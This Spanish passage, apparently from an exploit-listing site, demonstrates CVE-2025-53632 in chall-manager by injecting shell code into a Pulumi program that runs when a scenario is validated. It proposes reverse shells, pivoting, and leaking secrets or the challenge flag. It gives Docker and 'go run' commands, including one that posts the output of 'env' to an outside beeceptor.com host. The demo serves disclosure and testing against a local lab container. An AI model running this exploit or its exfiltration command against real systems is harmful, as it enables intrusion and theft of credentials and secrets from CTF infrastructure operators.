Usando esta información, vamos a alterar el programa pulumi inyectando algo de código shell antes de su ejecución. Como el escenario se validará entonces, el programa pulumi alterado se ejecutará, corriendo el script.

Desde este script, ahora puedes abrir una reverse shell, pivotar a través de la infraestructura o dentro del contenedor, filtrar secretos (por ejemplo, contenidos en variables de entorno) o incluso contenido del desafío (por ejemplo, la flag del desafío si un escenario no ha sido preconstruido).

Requisitos

Para ejecutar esta demo del exploit necesitarás:

• docker ;
• go.

Exploit

1. Ejecuta chall-manager.

   root@kitploit:~

   docker run --name chall-manager -d -p 8080:8080 ctferio/chall-manager:v0.1.3
   

2. Ejecuta main.go

   root@kitploit:~

   go run main.go --url localhost:8080
   

   ¡Sé creativo con tu script! Por ejemplo, puedes enviar información del sistema a un tercero...

   root@kitploit:~

   go run main.go --url localhost:8080 --script 'curl -d "$(env)" https://app.beeceptor.com/console/cve-2025-53632'
   

   

3. Puedes detener el contenedor Docker de demostración de Chall-Manager una vez terminado.

   root@kitploit:~

   docker stop chall-manager && docker rm $_